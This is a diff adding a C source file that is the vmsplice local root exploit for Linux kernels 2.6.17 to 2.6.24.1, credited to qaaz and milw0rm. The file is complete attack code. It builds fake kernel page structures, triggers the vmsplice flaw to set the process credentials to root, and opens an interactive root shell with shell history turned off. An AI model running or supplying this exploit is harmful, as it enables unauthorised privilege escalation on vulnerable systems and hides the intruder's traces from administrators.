|
| 1 | +/* |
| 2 | + * jessica_biel_naked_in_my_bed.c |
| 3 | + * |
| 4 | + * Dovalim z knajpy a cumim ze Wojta zas nema co robit, kura. |
| 5 | + * Gizdi, tutaj mate cosyk na hrani, kym aj totok vykeca. |
| 6 | + * Stejnak je to stare jak cyp a aj jakesyk rozbite. |
| 7 | + * |
| 8 | + * Linux vmsplice Local Root Exploit |
| 9 | + * By qaaz |
| 10 | + * |
| 11 | + * Linux 2.6.17 - 2.6.24.1 |
| 12 | + * |
| 13 | + * This is quite old code and I had to rewrite it to even compile. |
| 14 | + * It should work well, but I don't remeber original intent of all |
| 15 | + * the code, so I'm not 100% sure about it. You've been warned ;) |
| 16 | + * |
| 17 | + * -static -Wno-format |
| 18 | + */ |
| 19 | +#define _GNU_SOURCE |
| 20 | +#include <stdio.h> |
| 21 | +#include <errno.h> |
| 22 | +#include <stdlib.h> |
| 23 | +#include <string.h> |
| 24 | +#include <malloc.h> |
| 25 | +#include <limits.h> |
| 26 | +#include <signal.h> |
| 27 | +#include <unistd.h> |
| 28 | +#include <sys/uio.h> |
| 29 | +#include <sys/mman.h> |
| 30 | +#include <asm/page.h> |
| 31 | +#define __KERNEL__ |
| 32 | +#include <asm/unistd.h> |
| 33 | + |
| 34 | +#define PIPE_BUFFERS 16 |
| 35 | +#define PG_compound 14 |
| 36 | +#define uint unsigned int |
| 37 | +#define static_inline static inline __attribute__((always_inline)) |
| 38 | +#define STACK(x) (x + sizeof(x) - 40) |
| 39 | + |
| 40 | +struct page { |
| 41 | + unsigned long flags; |
| 42 | + int count; |
| 43 | + int mapcount; |
| 44 | + unsigned long private; |
| 45 | + void *mapping; |
| 46 | + unsigned long index; |
| 47 | + struct { long next, prev; } lru; |
| 48 | +}; |
| 49 | + |
| 50 | +void exit_code(); |
| 51 | +char exit_stack[1024 * 1024]; |
| 52 | + |
| 53 | +void die(char *msg, int err) |
| 54 | +{ |
| 55 | + printf(err ? "[-] %s: %s\n" : "[-] %s\n", msg, strerror(err)); |
| 56 | + fflush(stdout); |
| 57 | + fflush(stderr); |
| 58 | + exit(1); |
| 59 | +} |
| 60 | + |
| 61 | +#if defined (__i386__) |
| 62 | + |
| 63 | +#ifndef __NR_vmsplice |
| 64 | +#define __NR_vmsplice 316 |
| 65 | +#endif |
| 66 | + |
| 67 | +#define USER_CS 0x73 |
| 68 | +#define USER_SS 0x7b |
| 69 | +#define USER_FL 0x246 |
| 70 | + |
| 71 | +static_inline |
| 72 | +void exit_kernel() |
| 73 | +{ |
| 74 | + __asm__ __volatile__ ( |
| 75 | + "movl %0, 0x10(%%esp) ;" |
| 76 | + "movl %1, 0x0c(%%esp) ;" |
| 77 | + "movl %2, 0x08(%%esp) ;" |
| 78 | + "movl %3, 0x04(%%esp) ;" |
| 79 | + "movl %4, 0x00(%%esp) ;" |
| 80 | + "iret" |
| 81 | + : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), |
| 82 | + "i" (USER_CS), "r" (exit_code) |
| 83 | + ); |
| 84 | +} |
| 85 | + |
| 86 | +static_inline |
| 87 | +void * get_current() |
| 88 | +{ |
| 89 | + unsigned long curr; |
| 90 | + __asm__ __volatile__ ( |
| 91 | + "movl %%esp, %%eax ;" |
| 92 | + "andl %1, %%eax ;" |
| 93 | + "movl (%%eax), %0" |
| 94 | + : "=r" (curr) |
| 95 | + : "i" (~8191) |
| 96 | + ); |
| 97 | + return (void *) curr; |
| 98 | +} |
| 99 | + |
| 100 | +#elif defined (__x86_64__) |
| 101 | + |
| 102 | +#ifndef __NR_vmsplice |
| 103 | +#define __NR_vmsplice 278 |
| 104 | +#endif |
| 105 | + |
| 106 | +#define USER_CS 0x23 |
| 107 | +#define USER_SS 0x2b |
| 108 | +#define USER_FL 0x246 |
| 109 | + |
| 110 | +static_inline |
| 111 | +void exit_kernel() |
| 112 | +{ |
| 113 | + __asm__ __volatile__ ( |
| 114 | + "swapgs ;" |
| 115 | + "movq %0, 0x20(%%rsp) ;" |
| 116 | + "movq %1, 0x18(%%rsp) ;" |
| 117 | + "movq %2, 0x10(%%rsp) ;" |
| 118 | + "movq %3, 0x08(%%rsp) ;" |
| 119 | + "movq %4, 0x00(%%rsp) ;" |
| 120 | + "iretq" |
| 121 | + : : "i" (USER_SS), "r" (STACK(exit_stack)), "i" (USER_FL), |
| 122 | + "i" (USER_CS), "r" (exit_code) |
| 123 | + ); |
| 124 | +} |
| 125 | + |
| 126 | +static_inline |
| 127 | +void * get_current() |
| 128 | +{ |
| 129 | + unsigned long curr; |
| 130 | + __asm__ __volatile__ ( |
| 131 | + "movq %%gs:(0), %0" |
| 132 | + : "=r" (curr) |
| 133 | + ); |
| 134 | + return (void *) curr; |
| 135 | +} |
| 136 | + |
| 137 | +#else |
| 138 | +#error "unsupported arch" |
| 139 | +#endif |
| 140 | + |
| 141 | +#if defined (_syscall4) |
| 142 | +#define __NR__vmsplice __NR_vmsplice |
| 143 | +_syscall4( |
| 144 | + long, _vmsplice, |
| 145 | + int, fd, |
| 146 | + struct iovec *, iov, |
| 147 | + unsigned long, nr_segs, |
| 148 | + unsigned int, flags) |
| 149 | + |
| 150 | +#else |
| 151 | +#define _vmsplice(fd,io,nr,fl) syscall(__NR_vmsplice, (fd), (io), (nr), (fl)) |
| 152 | +#endif |
| 153 | + |
| 154 | +static uint uid, gid; |
| 155 | + |
| 156 | +void kernel_code() |
| 157 | +{ |
| 158 | + int i; |
| 159 | + uint *p = get_current(); |
| 160 | + |
| 161 | + for (i = 0; i < 1024-13; i++) { |
| 162 | + if (p[0] == uid && p[1] == uid && |
| 163 | + p[2] == uid && p[3] == uid && |
| 164 | + p[4] == gid && p[5] == gid && |
| 165 | + p[6] == gid && p[7] == gid) { |
| 166 | + p[0] = p[1] = p[2] = p[3] = 0; |
| 167 | + p[4] = p[5] = p[6] = p[7] = 0; |
| 168 | + p = (uint *) ((char *)(p + 8) + sizeof(void *)); |
| 169 | + p[0] = p[1] = p[2] = ~0; |
| 170 | + break; |
| 171 | + } |
| 172 | + p++; |
| 173 | + } |
| 174 | + |
| 175 | + exit_kernel(); |
| 176 | +} |
| 177 | + |
| 178 | +void exit_code() |
| 179 | +{ |
| 180 | + if (getuid() != 0) |
| 181 | + die("wtf", 0); |
| 182 | + |
| 183 | + printf("[+] root\n"); |
| 184 | + putenv("HISTFILE=/dev/null"); |
| 185 | + execl("/bin/bash", "bash", "-i", NULL); |
| 186 | + die("/bin/bash", errno); |
| 187 | +} |
| 188 | + |
| 189 | +int main(int argc, char *argv[]) |
| 190 | +{ |
| 191 | + int pi[2]; |
| 192 | + size_t map_size; |
| 193 | + char * map_addr; |
| 194 | + struct iovec iov; |
| 195 | + struct page * pages[5]; |
| 196 | + |
| 197 | + uid = getuid(); |
| 198 | + gid = getgid(); |
| 199 | + setresuid(uid, uid, uid); |
| 200 | + setresgid(gid, gid, gid); |
| 201 | + |
| 202 | + printf("-----------------------------------\n"); |
| 203 | + printf(" Linux vmsplice Local Root Exploit\n"); |
| 204 | + printf(" By qaaz\n"); |
| 205 | + printf("-----------------------------------\n"); |
| 206 | + |
| 207 | + if (!uid || !gid) |
| 208 | + die("!@#$", 0); |
| 209 | + |
| 210 | + /*****/ |
| 211 | + pages[0] = *(void **) &(int[2]){0,PAGE_SIZE}; |
| 212 | + pages[1] = pages[0] + 1; |
| 213 | + |
| 214 | + map_size = PAGE_SIZE; |
| 215 | + map_addr = mmap(pages[0], map_size, PROT_READ | PROT_WRITE, |
| 216 | + MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); |
| 217 | + if (map_addr == MAP_FAILED) |
| 218 | + die("mmap", errno); |
| 219 | + |
| 220 | + memset(map_addr, 0, map_size); |
| 221 | + printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); |
| 222 | + printf("[+] page: 0x%lx\n", pages[0]); |
| 223 | + printf("[+] page: 0x%lx\n", pages[1]); |
| 224 | + |
| 225 | + pages[0]->flags = 1 << PG_compound; |
| 226 | + pages[0]->private = (unsigned long) pages[0]; |
| 227 | + pages[0]->count = 1; |
| 228 | + pages[1]->lru.next = (long) kernel_code; |
| 229 | + |
| 230 | + /*****/ |
| 231 | + pages[2] = *(void **) pages[0]; |
| 232 | + pages[3] = pages[2] + 1; |
| 233 | + |
| 234 | + map_size = PAGE_SIZE; |
| 235 | + map_addr = mmap(pages[2], map_size, PROT_READ | PROT_WRITE, |
| 236 | + MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); |
| 237 | + if (map_addr == MAP_FAILED) |
| 238 | + die("mmap", errno); |
| 239 | + |
| 240 | + memset(map_addr, 0, map_size); |
| 241 | + printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); |
| 242 | + printf("[+] page: 0x%lx\n", pages[2]); |
| 243 | + printf("[+] page: 0x%lx\n", pages[3]); |
| 244 | + |
| 245 | + pages[2]->flags = 1 << PG_compound; |
| 246 | + pages[2]->private = (unsigned long) pages[2]; |
| 247 | + pages[2]->count = 1; |
| 248 | + pages[3]->lru.next = (long) kernel_code; |
| 249 | + |
| 250 | + /*****/ |
| 251 | + pages[4] = *(void **) &(int[2]){PAGE_SIZE,0}; |
| 252 | + map_size = PAGE_SIZE; |
| 253 | + map_addr = mmap(pages[4], map_size, PROT_READ | PROT_WRITE, |
| 254 | + MAP_FIXED | MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); |
| 255 | + if (map_addr == MAP_FAILED) |
| 256 | + die("mmap", errno); |
| 257 | + memset(map_addr, 0, map_size); |
| 258 | + printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); |
| 259 | + printf("[+] page: 0x%lx\n", pages[4]); |
| 260 | + |
| 261 | + /*****/ |
| 262 | + map_size = (PIPE_BUFFERS * 3 + 2) * PAGE_SIZE; |
| 263 | + map_addr = mmap(NULL, map_size, PROT_READ | PROT_WRITE, |
| 264 | + MAP_PRIVATE | MAP_ANONYMOUS, -1, 0); |
| 265 | + if (map_addr == MAP_FAILED) |
| 266 | + die("mmap", errno); |
| 267 | + |
| 268 | + memset(map_addr, 0, map_size); |
| 269 | + printf("[+] mmap: 0x%lx .. 0x%lx\n", map_addr, map_addr + map_size); |
| 270 | + |
| 271 | + /*****/ |
| 272 | + map_size -= 2 * PAGE_SIZE; |
| 273 | + if (munmap(map_addr + map_size, PAGE_SIZE) < 0) |
| 274 | + die("munmap", errno); |
| 275 | + |
| 276 | + /*****/ |
| 277 | + if (pipe(pi) < 0) die("pipe", errno); |
| 278 | + close(pi[0]); |
| 279 | + |
| 280 | + iov.iov_base = map_addr; |
| 281 | + iov.iov_len = ULONG_MAX; |
| 282 | + |
| 283 | + signal(SIGPIPE, exit_code); |
| 284 | + _vmsplice(pi[1], &iov, 1, 0); |
| 285 | + die("vmsplice", errno); |
| 286 | + return 0; |
| 287 | +} |
| 288 | + |
| 289 | +// milw0rm.com [2008-02-09] |
0 commit comments